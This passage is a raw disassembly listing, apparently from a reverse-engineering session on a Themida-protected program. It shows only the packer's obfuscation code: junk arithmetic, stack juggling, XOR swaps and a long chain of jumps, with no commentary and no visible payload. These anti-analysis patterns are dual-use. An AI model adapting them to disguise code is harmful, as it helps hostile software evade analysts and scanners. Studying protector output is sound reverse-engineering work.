loc_5A4A32: ; CODE XREF: Themida_:0059223Bj
mov [esp], edi
jmp loc_59538F
; ---------------------------------------------------------------------------
loc_5A4A3A: ; CODE XREF: Themida_:00595652j
and eax, edi
pop edi
shr eax, 10h
xor eax, ecx
xor eax, ecx
xor ecx, eax
xor eax, ecx
jmp loc_59A21B
; ---------------------------------------------------------------------------
loc_5A4A4D: ; CODE XREF: Themida_:005A12AEj
sub edx, 77CE417Fh
sub edx, 47FE4A23h
add edx, ebx
add edx, 47FE4A23h
add edx, 77CE417Fh
push ebx
mov ebx, 3AFC5A07h
add edx, 3ABF6749h
sub edx, ebx
sub edx, 3ABF6749h
pop ebx
pop ebx
sub edx, eax
sub edx, 3F652318h
sub edx, 68BB0F9Ah
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5A4A90: ; CODE XREF: Themida_:005A4B68j
add bl, 0BAh
neg bl
jmp loc_59B4E7
; ---------------------------------------------------------------------------
loc_5A4A9A: ; CODE XREF: Themida_:00595A17j
xchg eax, [esp]
pop esp
add ebp, esi
pop esi
and ebp, 26ED1CB7h
push edi
mov edi, 6BBA4C8Bh
add ebp, edi
pop edi
shr ebp, 7
xor ebp, 6023A587h
add eax, ebp
pop ebp
push ebp
jmp loc_5920A0
; ---------------------------------------------------------------------------
loc_5A4AC2: ; CODE XREF: Themida_:005A545Cj
push dx
jmp loc_59FFA8
; ---------------------------------------------------------------------------
loc_5A4AC9: ; CODE XREF: Themida_:005A1243j
mov [esp], edx
push eax
pushf
jmp loc_599886
; ---------------------------------------------------------------------------
loc_5A4AD3: ; CODE XREF: Themida_:005A068Bj
mov eax, [esp]
add esp, 4
push edi
mov edi, 14EA5D52h
xor edi, 52965133h
xor edi, 64015D79h
or edi, 7E4959ABh
and edi, 478A2534h
and edi, 0D7F1E1Ah
sub edi, 0E07FF77Fh
jmp loc_594677
; ---------------------------------------------------------------------------
loc_5A4B08: ; CODE XREF: Themida_:0059C4A5j
pop ecx
mov ebp, ebx
jmp loc_59A7BA
; ---------------------------------------------------------------------------
loc_5A4B10: ; CODE XREF: Themida_:005A1329j
mov ebp, 0FFFFh
jmp loc_590772
; ---------------------------------------------------------------------------
loc_5A4B1A: ; CODE XREF: Themida_:00597FE5j
mov ah, 43h
and ah, 0CAh
not ah
push edx
push ecx
mov ch, 5Ch
not ch
jmp loc_59C48D
; ---------------------------------------------------------------------------
loc_5A4B2C: ; CODE XREF: Themida_:005902F7j
shr ecx, 4
push edi
mov edi, 61AF0782h
sub edi, 0A1E919EBh
add ecx, edi
jmp loc_59964E
; ---------------------------------------------------------------------------
loc_5A4B42: ; CODE XREF: Themida_:005A1DBBj
neg ebx
xor ebx, 5C0F1F07h
jmp loc_59EF04
; ---------------------------------------------------------------------------
loc_5A4B4F: ; CODE XREF: Themida_:005908A4j
push ebp
mov ebp, 3A891BBCh
dec ebp
neg ebp
sub ebp, 55B281B8h
sub ecx, ebp
jmp loc_594D97
; ---------------------------------------------------------------------------
loc_5A4B65: ; CODE XREF: Themida_:00592D1Aj
push ebx
mov bl, 0A5h
jmp loc_5A4A90
; ---------------------------------------------------------------------------
loc_5A4B6D: ; CODE XREF: Themida_:0059210Fj
pop ecx
push eax
push ebx
jmp loc_5A1F63
; ---------------------------------------------------------------------------
loc_5A4B75: ; CODE XREF: Themida_:0059A5CCj
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
add esi, 4
push esi
jmp loc_597120
; ---------------------------------------------------------------------------
loc_5A4B8D: ; CODE XREF: Themida_:0059253Dj
xor ax, bx
pop bx
push cx
jmp loc_59AD65
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
mov [esp], edx
push 66F5h
mov [esp], esp
add dword ptr [esp], 4
mov edx, [esp]
add esp, 4
push ecx
mov ecx, 785B3643h
jmp loc_5984E7
; ---------------------------------------------------------------------------
loc_5A4BC3: ; CODE XREF: Themida_:0059A62Cj
pop edx
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
push edi
jmp loc_59C55E
; ---------------------------------------------------------------------------
loc_5A4BD7: ; CODE XREF: Themida_:005A2FFBj
pop esi
add esp, 4
or esi, 1C3B7CA4h
jmp loc_59DD30
; ---------------------------------------------------------------------------
loc_5A4BE9: ; CODE XREF: Themida_:0059F4B3j
add esp, 4
sub ecx, 410141B0h
xor ecx, 0F31B095Dh
xor eax, ecx
pop ecx
push eax
jmp loc_59B753
; ---------------------------------------------------------------------------
loc_5A4C01: ; CODE XREF: Themida_:00594959j
shl edi, 5
shr edi, 4
add edi, 78F53EB2h
add edi, 7E187DD7h
jmp loc_590BD2
; ---------------------------------------------------------------------------
loc_5A4C18: ; CODE XREF: Themida_:00597449j
mov ebx, 465708ECh
jmp loc_598DAB
; ---------------------------------------------------------------------------
loc_5A4C22: ; CODE XREF: Themida_:005A1A32j
sub al, bl
add al, 93h
push ecx
mov ch, 0C3h
jmp loc_59AC62
; ---------------------------------------------------------------------------
loc_5A4C2E: ; CODE XREF: Themida_:005961F9j
add edx, 301B7290h
sub edx, 3D728B60h
add edi, edx
pop edx
push ebx
jmp loc_5916E5
; ---------------------------------------------------------------------------
loc_5A4C43: ; CODE XREF: Themida_:0059CD18j
push ecx
jmp loc_5970A4
; ---------------------------------------------------------------------------
loc_5A4C49: ; CODE XREF: Themida_:005983CFj
push ebp
push dword ptr [esp+4]
pop ebp
jmp loc_5A5415
; ---------------------------------------------------------------------------
loc_5A4C54: ; CODE XREF: Themida_:005A1AC0j
shl ebp, 1
inc ebp
inc ebp
sub ebp, 6EC04F99h
and ebx, ebp
pop ebp
jmp loc_597441
; ---------------------------------------------------------------------------
loc_5A4C66: ; CODE XREF: Themida_:00593944j
push dword ptr [esp]
jmp loc_59A215
; ---------------------------------------------------------------------------
loc_5A4C6E: ; CODE XREF: Themida_:0059F7F8j
mov edi, esp
add edi, 4
push ebp
mov ebp, 231C552Bh
jmp loc_59FD18
; ---------------------------------------------------------------------------
loc_5A4C81: ; CODE XREF: Themida_:005A2AFCj
pop ebx
mov eax, [esp]
push esi
mov esi, esp
add esi, 4
push edx
jmp loc_59D899
; ---------------------------------------------------------------------------
loc_5A4C94: ; CODE XREF: Themida_:005904BEj
add esp, 4
push ebp
mov ebp, 4
add esi, ebp
mov ebp, [esp]
add esp, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
push 5C96h
mov [esp], edi
push 23Dh
push esp
pop dword ptr [esp]
push eax
jmp loc_598BBB
; ---------------------------------------------------------------------------
loc_5A4CC8: ; CODE XREF: Themida_:00591484j
push eax
jmp loc_59F908
; ---------------------------------------------------------------------------
loc_5A4CCE: ; CODE XREF: Themida_:00596AFEj
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5A4CD3: ; CODE XREF: Themida_:005A54BDj
pop eax
add esp, 4
jmp loc_59F2F3
; ---------------------------------------------------------------------------
loc_5A4CDF: ; CODE XREF: Themida_:0059D5B3j
push dword ptr [esp+4]
jmp loc_599F79
; ---------------------------------------------------------------------------
loc_5A4CE8: ; CODE XREF: Themida_:0059EB82j
add eax, 4FF1704h
sub eax, 34EA2576h
sub eax, 0FFFFFFFFh
and eax, 552A407Ah
add eax, 257D2184h
and edi, eax
pop eax
shr edi, 5
inc edi
and edi, 1C2007A2h
sub edi, 92AE00AFh
xor edx, edi
pop edi
jmp loc_591813
; ---------------------------------------------------------------------------
loc_5A4D1A: ; CODE XREF: Themida_:005A5576j
mov eax, [esp]
add esp, 4
pop ecx
push edx
jmp loc_5995E6
; ---------------------------------------------------------------------------
loc_5A4D27: ; CODE XREF: Themida_:00592590j
add ebx, 0F241CD95h
add esi, ebx
pop ebx
push ebp
jmp loc_5A434F
; ---------------------------------------------------------------------------
loc_5A4D36: ; CODE XREF: Themida_:00594A4Ej
pop edi
or ebx, 7B539D3h
push esi
mov esi, 0FFFFFFFFh
add ebx, esi
pop esi
dec ebx
xor ebx, 6B5778BAh
push ebp
mov ebp, 0CF96DADh
and ebp, 18521EACh
add ebp, 6B0F6DF1h
add ebx, ebp
mov ebp, [esp]
add esp, 4
add edi, ebx
push dword ptr [esp]
pop ebx
jmp loc_5A1CCB
; ---------------------------------------------------------------------------
loc_5A4D75: ; CODE XREF: Themida_:0059A6EBj
and ebp, ecx
jmp loc_591821
; ---------------------------------------------------------------------------
loc_5A4D7C: ; CODE XREF: Themida_:00597DF1j
mov eax, esp
add eax, 4
jmp loc_5A179F
; ---------------------------------------------------------------------------
loc_5A4D88: ; CODE XREF: Themida_:00593C33j
mov ebp, [esp]
add esp, 4
add eax, esi
add eax, 427513D2h
jmp loc_5908F9
; ---------------------------------------------------------------------------
loc_5A4D9A: ; CODE XREF: Themida_:0059D9F3j
push dx
mov dh, 57h
sub al, dh
jmp loc_59457C
; ---------------------------------------------------------------------------
loc_5A4DA5: ; CODE XREF: Themida_:005970D0j
push dword ptr [esp]
jmp loc_59BE4D
; ---------------------------------------------------------------------------
loc_5A4DAD: ; CODE XREF: Themida_:005910DFj
push dword ptr [esp]
mov edi, [esp]
add esp, 4
add esp, 4
push ebx
push ebp
push ebx
push 3545394Bh
jmp loc_5A066A
; ---------------------------------------------------------------------------
loc_5A4DCC: ; CODE XREF: Themida_:00595F2Dj
mov ebx, offset byte_5F3EDF
jmp loc_5960F1
; ---------------------------------------------------------------------------
loc_5A4DD6: ; CODE XREF: Themida_:0059261Bj
mov edx, 15E306A0h
jmp loc_59F1AE
; ---------------------------------------------------------------------------
loc_5A4DE0: ; CODE XREF: Themida_:00597607j
add bh, 0
jmp loc_5A2C30
; ---------------------------------------------------------------------------
loc_5A4DE8: ; CODE XREF: Themida_:005A15AAj
add ebx, 139709D7h
jmp loc_5A09C8
; ---------------------------------------------------------------------------
loc_5A4DF3: ; CODE XREF: Themida_:00591CE7j
mov ebx, [esp]
push eax
mov eax, esp
jmp loc_5A1DC6
; ---------------------------------------------------------------------------
loc_5A4DFE: ; CODE XREF: Themida_:0059BA32j
and eax, 116C0D38h
jmp loc_5923BA
; ---------------------------------------------------------------------------
loc_5A4E08: ; CODE XREF: Themida_:005979A5j
pop edx
push 2839h
mov [esp], edx
jmp loc_590D7B
; ---------------------------------------------------------------------------
loc_5A4E16: ; CODE XREF: Themida_:005A1274j
mov esp, [esp]
push ebx
push esp
mov ebx, [esp]
add esp, 4
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], eax
mov eax, 4
add ebx, eax
pop eax
add ebx, 4
jmp loc_59D259
; ---------------------------------------------------------------------------
loc_5A4E4D: ; CODE XREF: Themida_:005963CFj
mov edx, 4B0516DCh
shr edx, 3
shl edx, 7
add edx, 1BCA0650h
push eax
jmp loc_592749
; ---------------------------------------------------------------------------
loc_5A4E64: ; CODE XREF: Themida_:005A0494j
push ebp
push 237E4922h
jmp loc_5A3793
; ---------------------------------------------------------------------------
loc_5A4E6F: ; CODE XREF: Themida_:00591110j
pop ecx
add ebx, 7DED102Bh
sub ebx, 652E5554h
or ebx, 68EC0127h
sub ebx, 78FEC933h
jmp loc_59E18E
; ---------------------------------------------------------------------------
loc_5A4E8D: ; CODE XREF: Themida_:0059452Dj
add edi, 179C4651h
inc edi
sub edi, 0D20BD3FDh
sub edx, edi
pop edi
jmp loc_5A3F76
; ---------------------------------------------------------------------------
loc_5A4EA2: ; CODE XREF: Themida_:00593471j
mov [esp], ebx
push ecx
push 29116A70h
pop ecx
xor ecx, 0E4B0FD0h
sub ecx, 275A659Eh
push 1F1Ah
mov [esp], esi
mov esi, ecx
mov ebx, esi
pop esi
pop ecx
sub ecx, ebx
jmp loc_5A2D57
; ---------------------------------------------------------------------------
loc_5A4ECD: ; CODE XREF: Themida_:0059123Bj
add ecx, 4
jmp loc_59925F
; ---------------------------------------------------------------------------
loc_5A4ED8: ; CODE XREF: Themida_:0059343Bj
push 16781990h
pop eax
shl eax, 5
sub esp, 4
mov [esp], esi
jmp loc_59D6FF
; ---------------------------------------------------------------------------
loc_5A4EEF: ; CODE XREF: Themida_:00599409j
add [esp+4], edi
add dword ptr [esp+4], 28434C9Bh
pop edi
pop ebp
push edi
mov edi, 3B4D6D1Ah
jmp loc_599369
; ---------------------------------------------------------------------------
loc_5A4F08: ; CODE XREF: Themida_:00592A45j
pop ecx
add edx, ebp
pop ebp
sub edx, edi
push ebx
mov ebx, 5B79469Bh
sub edx, ebx
pop ebx
pop edi
push 2240h
mov [esp], esi
mov esi, 40C077A5h
add edx, esi
pop esi
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5A4F2D: ; CODE XREF: Themida_:005A3E1Dj
shr edx, 8
and edx, 21006285h
xor edx, 4A8F12DCh
mov ebp, edx
pop edx
dec ebp
push edx
jmp loc_5A021D
; ---------------------------------------------------------------------------
loc_5A4F46: ; CODE XREF: Themida_:005A3E40j
add esp, 4
push ebx
mov ebx, esp
jmp loc_59FEA1
; ---------------------------------------------------------------------------
loc_5A4F54: ; CODE XREF: Themida_:0059E663j
add eax, edi
sub esp, 4
mov [esp], ebx
jmp loc_5A03C2
; ---------------------------------------------------------------------------
loc_5A4F61: ; CODE XREF: Themida_:0059F983j
add ebp, 76E554DCh
push ebp
sub dword ptr [esp], 4EB05B3Eh
jmp loc_5922FD
; ---------------------------------------------------------------------------
loc_5A4F74: ; CODE XREF: Themida_:0059872Aj
mov [esp], esi
push edx
mov edx, 290D258Dh
xor edx, 291965DFh
jmp loc_5A2CF1
; ---------------------------------------------------------------------------
loc_5A4F88: ; CODE XREF: Themida_:005A56B0j
add edx, edi
mov edi, [esp]
push esi
mov esi, esp
add esi, 4
jmp loc_59E0FB
; ---------------------------------------------------------------------------
push dword ptr fs:[edx]
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5A4FA3: ; CODE XREF: Themida_:00599456j
pop ebp
neg eax
xor eax, 41C8137Dh
add esi, eax
jmp loc_59733B
; ---------------------------------------------------------------------------
loc_5A4FB2: ; CODE XREF: Themida_:00595647j
dec eax
dec eax
jmp loc_591AAD
; ---------------------------------------------------------------------------
loc_5A4FB9: ; CODE XREF: Themida_:00591EA1j
mov ebx, 18841C5Dh
jmp loc_59AB26
; ---------------------------------------------------------------------------
loc_5A4FC3: ; CODE XREF: Themida_:00595EF9j
xor ecx, 22D0586Eh
not ecx
jmp loc_598DE2
; ---------------------------------------------------------------------------
loc_5A4FD0: ; CODE XREF: Themida_:0059F140j
add ebp, ecx
add ebp, 439E37F1h
push edx
mov edx, 674F78F7h
add ebp, edx
pop edx
pop ecx
xor edx, ebp
mov ebp, [esp]
add esp, 4
add eax, edx
mov edx, [esp]
add esp, 4
push ecx
mov ecx, esp
push eax
mov eax, 4
add ecx, 441671BBh
add ecx, eax
sub ecx, 441671BBh
jmp loc_5A1BD3
; ---------------------------------------------------------------------------
loc_5A5011: ; CODE XREF: Themida_:005997D5j
add ebp, 2A9D36C5h
mov edx, [esp]
push edx
mov edx, esp
add edx, 4
jmp loc_590BA4
; ---------------------------------------------------------------------------
loc_5A5028: ; CODE XREF: Themida_:0059EF26j
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], ebp
jmp loc_59266F
; ---------------------------------------------------------------------------
mov ax, [esp]
push 2CEBh
mov [esp], eax
mov eax, esp
sub esp, 4
jmp loc_59BA09
; ---------------------------------------------------------------------------
loc_5A5058: ; CODE XREF: Themida_:00594C5Ej
push ecx
mov ecx, 1B5D154Ah
jmp loc_5952B9
; ---------------------------------------------------------------------------
loc_5A5063: ; CODE XREF: Themida_:00597F36j
push esi
pop ebp
push ebp
sub dword ptr [esp], 2C8A4D05h
pop ecx
add ecx, 2C8A4D05h
pop ebp
jmp loc_59CA64
; ---------------------------------------------------------------------------
loc_5A507A: ; CODE XREF: Themida_:00598D49j
xor eax, 0D3AFF31Eh
add esi, eax
pop eax
add edi, esi
jmp loc_5A34B6
; ---------------------------------------------------------------------------
loc_5A5089: ; CODE XREF: Themida_:0059FD1Ej
sub ebp, 7B351B9Ch
add ebp, 0A4CA00ACh
add edi, 336033C9h
sub edi, ebp
sub edi, 336033C9h
pop ebp
jmp loc_59745C
; ---------------------------------------------------------------------------
loc_5A50A9: ; CODE XREF: Themida_:005A2EE9j
mov edi, 110A54DBh
push ebx
jmp loc_599C6E
; ---------------------------------------------------------------------------
loc_5A50B4: ; CODE XREF: Themida_:005A0A85j
add eax, 41F7BCDh
sub eax, edx
sub eax, 41F7BCDh
sub eax, 25A66BA9h
push dword ptr [esp]
mov edx, [esp]
push ebp
jmp loc_59AC38
; ---------------------------------------------------------------------------
loc_5A50D1: ; CODE XREF: Themida_:0059856Fj
shl ecx, 2
inc ecx
sub ecx, 9DE54939h
add edi, ecx
jmp loc_595039
; ---------------------------------------------------------------------------
loc_5A50E2: ; CODE XREF: Themida_:0059918Fj
and esi, 26B30B8Ah
xor esi, 0B2088Eh
jmp loc_59CAE0
; ---------------------------------------------------------------------------
loc_5A50F3: ; CODE XREF: Themida_:00592CB6j
mov [esp], ecx
mov ecx, 31552CA5h
jmp loc_5A350E
; ---------------------------------------------------------------------------
loc_5A5100: ; CODE XREF: Themida_:005937DCj
add ebx, 69041A68h
push dword ptr [esp]
pop eax
push ebp
mov ebp, esp
jmp loc_594BE1
; ---------------------------------------------------------------------------
loc_5A5112: ; CODE XREF: Themida_:005A2259j
pop eax
jmp loc_594401
; ---------------------------------------------------------------------------
lodsb
xor al, bl
push ecx
mov cl, 4Fh
inc cl
push ebx
mov bh, 3Eh
push eax
mov al, 0F2h
jmp loc_59B7A8
; ---------------------------------------------------------------------------
loc_5A512B: ; CODE XREF: Themida_:00594C24j
mov [esp], esi
mov esi, 209819D8h
add eax, esi
mov esi, [esp]
push ecx
jmp loc_596E78
; ---------------------------------------------------------------------------
loc_5A513E: ; CODE XREF: Themida_:00597256j
add esp, 4
mov edx, [esp]
add esp, 4
jmp loc_5982D4
; ---------------------------------------------------------------------------
loc_5A514C: ; CODE XREF: Themida_:00592432j
pop eax
jmp loc_5A2548
; ---------------------------------------------------------------------------
loc_5A5152: ; CODE XREF: Themida_:0059AAFCj
sub edi, 0D72B3D01h
xor edx, edi
jmp loc_5A204B
; ---------------------------------------------------------------------------
loc_5A515F: ; CODE XREF: Themida_:0059F8D6j
add ebx, ecx
pop ecx
push 29Ch
mov [esp], esi
push edi
push ebx
mov ebx, 102289Eh
mov edi, ebx
jmp loc_594868
; ---------------------------------------------------------------------------
loc_5A5178: ; CODE XREF: Themida_:005A37BFj
push edx
mov dh, cl
jmp loc_5A0E1A
; ---------------------------------------------------------------------------
loc_5A5180: ; CODE XREF: Themida_:005A1155j
or di, 51A3h
sub di, 3135h
xchg dx, di
jmp loc_5919A7
; ---------------------------------------------------------------------------
loc_5A5192: ; CODE XREF: Themida_:005A4826j
mov esp, [esp]
mov [esp], ebx
sub esp, 4
mov [esp], ecx
mov ecx, eax
jmp loc_597E08
; ---------------------------------------------------------------------------
loc_5A51A5: ; CODE XREF: Themida_:00596CDEj
push eax
mov eax, 4
add [esp+4], eax
pop eax
pop ebx
add ebx, 4
push eax
mov eax, 4
add ebx, eax
jmp loc_59A90C
; ---------------------------------------------------------------------------
loc_5A51C4: ; CODE XREF: Themida_:0059C0EFj
pop edx
xchg ebx, [esp]
mov esp, [esp]
pop dword ptr [esp]
pop esp
jmp loc_593091
; ---------------------------------------------------------------------------
loc_5A51D4: ; CODE XREF: Themida_:005998A5j
mov esi, edi
pop edi
push 3867h
mov [esp], ecx
jmp loc_590BF8
; ---------------------------------------------------------------------------
loc_5A51E4: ; CODE XREF: Themida_:005A45DAj
add esp, 4
jmp loc_593319
; ---------------------------------------------------------------------------
loc_5A51EC: ; CODE XREF: Themida_:0059331Dj
mov ebp, [esp]
push ecx
jmp loc_594DE3
; ---------------------------------------------------------------------------
loc_5A51F5: ; CODE XREF: Themida_:005A446Fj
mov ecx, 486A076Dh
and ecx, 5B404A48h
not ecx
not ecx
xor ecx, 8504C2Eh
not ecx
add ecx, 97C35067h
mov ebp, ecx
pop ecx
and ebp, 7B773A66h
push ebp
inc dword ptr [esp]
pop ebp
push esi
mov esi, 4BA82D62h
xor esi, 7244B66h
neg esi
add esi, 12F57DA3h
xor esi, 676506EBh
sub esi, 61DC54D2h
xor esi, 93E342A3h
add ebp, esi
pop esi
add ebx, ebp
jmp loc_5986C7
; ---------------------------------------------------------------------------
loc_5A5250: ; CODE XREF: Themida_:00599A6Cj
xor ecx, [esp]
jmp loc_5937BC
; ---------------------------------------------------------------------------
loc_5A5258: ; CODE XREF: Themida_:005A26A7j
add ecx, 7EA82CAEh
jmp loc_5A54A1
; ---------------------------------------------------------------------------
loc_5A5263: ; CODE XREF: Themida_:005998D1j
pop ebp
mov ebp, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
push edx
mov edx, 70706631h
jmp loc_5A3568
; ---------------------------------------------------------------------------
loc_5A5285: ; CODE XREF: Themida_:0059313Fj
push esi
jmp loc_598212
; ---------------------------------------------------------------------------
loc_5A528B: ; CODE XREF: Themida_:00593354j
push edx
mov edx, 4
add esi, edx
mov edx, [esp]
add esp, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
jmp loc_5959B6
; ---------------------------------------------------------------------------
loc_5A52A7: ; CODE XREF: Themida_:00590814j
pop ecx
xchg edx, [esp]
jmp loc_5A2C58
; ---------------------------------------------------------------------------
loc_5A52B0: ; CODE XREF: Themida_:0059AC77j
pop esp
sub esp, 4
mov [esp], eax
jmp loc_5A1303
; ---------------------------------------------------------------------------
loc_5A52BC: ; CODE XREF: Themida_:005993ECj
mov [esp], esp
push eax
mov eax, 4
jmp loc_598086
; ---------------------------------------------------------------------------
loc_5A52CA: ; CODE XREF: Themida_:0059D4C0j
xor ecx, [esp]
mov esp, [esp]
mov [esp], ecx
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5A52D8: ; CODE XREF: Themida_:005A009Ej
add ebp, 4
push edx
push 1692h
mov [esp], esi
push 140E0B68h
mov esi, [esp]
jmp loc_59D560
; ---------------------------------------------------------------------------
loc_5A52F4: ; CODE XREF: Themida_:005980ABj
add esp, 4
jmp loc_59206C
; ---------------------------------------------------------------------------
loc_5A52FC: ; CODE XREF: Themida_:0059E024j
push ecx
mov ecx, 22AB00C3h
shl ecx, 1
add ecx, 29960EB5h
add ecx, 1
jmp loc_5A452E
; ---------------------------------------------------------------------------
loc_5A5315: ; CODE XREF: Themida_:005A3837j
pop esp
mov [esp], edi
push esp
jmp loc_599662
; ---------------------------------------------------------------------------
loc_5A531F: ; CODE XREF: Themida_:005A36A9j
add dword ptr [esp], 4
pop edx
push 6E18h
mov [esp], eax
mov eax, 7DFE375Bh
inc eax
and eax, 177926CDh
add eax, 96257A6h
xor eax, 1EDA7DF6h
add edx, eax
jmp loc_597447
; ---------------------------------------------------------------------------
loc_5A534B: ; CODE XREF: Themida_:00599A42j
inc ebx
push 4D42h
mov [esp], eax
mov eax, 0FF478DF8h
jmp loc_59CAF4
; ---------------------------------------------------------------------------
sub esp, 4
mov [esp], ecx
push 53CF52C1h
push dword ptr [esp]
mov ecx, [esp]
push ebp
mov ebp, esp
add ebp, 4
jmp loc_598A07
; ---------------------------------------------------------------------------
loc_5A537D: ; CODE XREF: Themida_:0059074Aj
mov ax, [esp]
push esi
mov esi, esp
jmp loc_5942FC
; ---------------------------------------------------------------------------
loc_5A5389: ; CODE XREF: Themida_:00598671j
sub [esp], ecx
mov ecx, [esp]
add esp, 4
push edi
mov edi, 52974A9h
add edi, 42F41F5Fh
jmp loc_5A34DF
; ---------------------------------------------------------------------------
loc_5A53A6: ; CODE XREF: Themida_:005A108Ej
mov edx, [esp]
add esp, 4
push ebp
mov ebp, esp
jmp loc_59E5A2
; ---------------------------------------------------------------------------
loc_5A53B4: ; CODE XREF: Themida_:0059A231j
mov ch, 0DFh
jmp loc_5A141C
; ---------------------------------------------------------------------------
loc_5A53BB: ; CODE XREF: Themida_:005A0E60j
pop edx
push ebx
mov ebx, 53BB73D3h
xor eax, ebx
jmp loc_595CC6
; ---------------------------------------------------------------------------
loc_5A53C9: ; CODE XREF: Themida_:00595405j
push ebx
mov ebx, 5BF54EA9h
push edx
mov edx, 562E4927h
sub ebx, edx
pop edx
add eax, ebx
mov ebx, [esp]
add esp, 4
pop edx
push edi
push 5ACFh
jmp loc_59FBBF
; ---------------------------------------------------------------------------
loc_5A53EF: ; CODE XREF: Themida_:0059D9DDj
mov ecx, 4
push esi
mov esi, 70584BE9h
sub [esp+8], esi
pop esi
add [esp+4], ecx
add dword ptr [esp+4], 70584BE9h
pop ecx
push dword ptr [esp]
pop ebx
jmp loc_59F6BD
; ---------------------------------------------------------------------------
loc_5A5415: ; CODE XREF: Themida_:005A4C4Fj
pop dword ptr [esp]
mov esp, [esp]
add esp, 4
loc_5A541E: ; CODE XREF: Themida_:0059CC38j
; Themida_:005A46DDj
push 7ED2h
mov [esp], eax
jmp loc_5A42EA
; ---------------------------------------------------------------------------
loc_5A542B: ; CODE XREF: Themida_:00599BD8j
push dword ptr [esp]
pop ecx
jmp loc_59AE14
; ---------------------------------------------------------------------------
loc_5A5434: ; CODE XREF: Themida_:0059EF84j
pop ebx
add eax, 0C013E257h
push eax
push ebp
mov ebp, 2C5629DCh
jmp loc_59879B
; ---------------------------------------------------------------------------
loc_5A5446: ; CODE XREF: Themida_:0059D184j
push ebx
mov ebx, 3D3E6FF6h
and ecx, ebx
pop ebx
add ecx, 0F2FFB030h
jmp loc_5A32DA
; ---------------------------------------------------------------------------
loc_5A545A: ; CODE XREF: Themida_:0059D9A2j
sub al, 0E9h
jmp loc_5A4AC2
; ---------------------------------------------------------------------------
loc_5A5461: ; CODE XREF: Themida_:005973D2j
pop ecx
jmp loc_597FA7
; ---------------------------------------------------------------------------
loc_5A5467: ; CODE XREF: Themida_:005A362Aj
xor dh, 14h
jmp loc_5A18A3
; ---------------------------------------------------------------------------
loc_5A546F: ; CODE XREF: Themida_:0059C05Bj
mov ecx, 40967AD1h
shr ecx, 5
xor ecx, 3DD30878h
add ecx, 0C0284456h
add ebp, ecx
pop ecx
add ebp, 4
xchg ebp, [esp]
jmp loc_590CF8
; ---------------------------------------------------------------------------
loc_5A5494: ; CODE XREF: Themida_:005A0C54j
mov [esp], ebp
mov ebp, 2B41290h
jmp loc_5A1287
; ---------------------------------------------------------------------------
loc_5A54A1: ; CODE XREF: Themida_:005A525Ej
xor ecx, 0AEB236CAh
sub eax, ecx
pop ecx
xor eax, [esp]
xor [esp], eax
jmp loc_598253
; ---------------------------------------------------------------------------
loc_5A54B5: ; CODE XREF: Themida_:0059B88Dj
push 2C380D9Fh
push dword ptr [esp]
jmp loc_5A4CD3
; ---------------------------------------------------------------------------
loc_5A54C2: ; CODE XREF: Themida_:00592FECj
sub ebx, 8977131h
add ebx, 9373774h
jmp loc_59905B
; ---------------------------------------------------------------------------
loc_5A54D3: ; CODE XREF: Themida_:0059D02Fj
sub esp, 4
jmp loc_5A27FD
; ---------------------------------------------------------------------------
loc_5A54DE: ; CODE XREF: Themida_:00598BF2j
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5A54E3: ; CODE XREF: Themida_:0059BD60j
pop ebp
sub eax, edx
mov edx, [esp]
add esp, 4
add eax, 2EEA5B7Bh
jmp loc_5A2949
; ---------------------------------------------------------------------------
loc_5A54F9: ; CODE XREF: Themida_:005A3938j
xor ecx, esi
pop esi
sub eax, ecx
pop ecx
push edx
jmp loc_5A277C
; ---------------------------------------------------------------------------
loc_5A5505: ; CODE XREF: Themida_:005A2718j
sub [esp+8], ebx
jmp loc_59F7FD
; ---------------------------------------------------------------------------
loc_5A550E: ; CODE XREF: Themida_:00595803j
mov edi, [esp]
add esp, 4
sub esp, 4
mov [esp], eax
jmp loc_593E4A
; ---------------------------------------------------------------------------
loc_5A5522: ; CODE XREF: Themida_:00596F29j
add esi, 7CA5606Ch
push dword ptr [esp]
pop edx
add esp, 4
sub esi, 72CA56CFh
add esi, eax
push edi
mov edi, 5151590Fh
shr edi, 8
jmp loc_5932DD
; ---------------------------------------------------------------------------
loc_5A5548: ; CODE XREF: Themida_:0059A613j
sub edi, 6D273E39h
add edi, ebx
push edx
mov edx, 1A115938h
shr edx, 8
sub edx, 92F2D320h
add edi, edx
mov edx, [esp]
add esp, 4
jmp loc_591C13
; ---------------------------------------------------------------------------
loc_5A556F: ; CODE XREF: Themida_:0059F4DDj
mov dl, ch
mov ah, dl
pop edx
mov bh, ah
jmp loc_5A4D1A
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], ebp
push esp
jmp loc_597765
; ---------------------------------------------------------------------------
loc_5A558E: ; CODE XREF: Themida_:00595CD4j
push ecx
mov ecx, esp
push ebp
mov ebp, 4
jmp loc_59058A
; ---------------------------------------------------------------------------
loc_5A559C: ; CODE XREF: Themida_:0059B99Cj
add edi, 2D25B39Ah
xor ecx, edi
pop edi
add eax, ecx
pop ecx
add eax, 4
xchg eax, [esp]
mov esp, [esp]
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], ebp
push 7AB0h
mov [esp], eax
jmp loc_5A0ECB
; ---------------------------------------------------------------------------
loc_5A55D3: ; CODE XREF: Themida_:00590443j
mov eax, 6B8E5E58h
not eax
add eax, 24EA54C2h
inc eax
not eax
shr eax, 5
xor eax, 726F6B75h
add edx, eax
pop eax
add edx, 7CED24F0h
add edx, eax
sub edx, 7CED24F0h
sub edx, 705A4B39h
pop eax
add edx, eax
jmp loc_5A347A
; ---------------------------------------------------------------------------
loc_5A5609: ; CODE XREF: Themida_:00597BABj
mov bl, 85h
shr bl, 2
sub bl, 48h
shl bl, 1
push ax
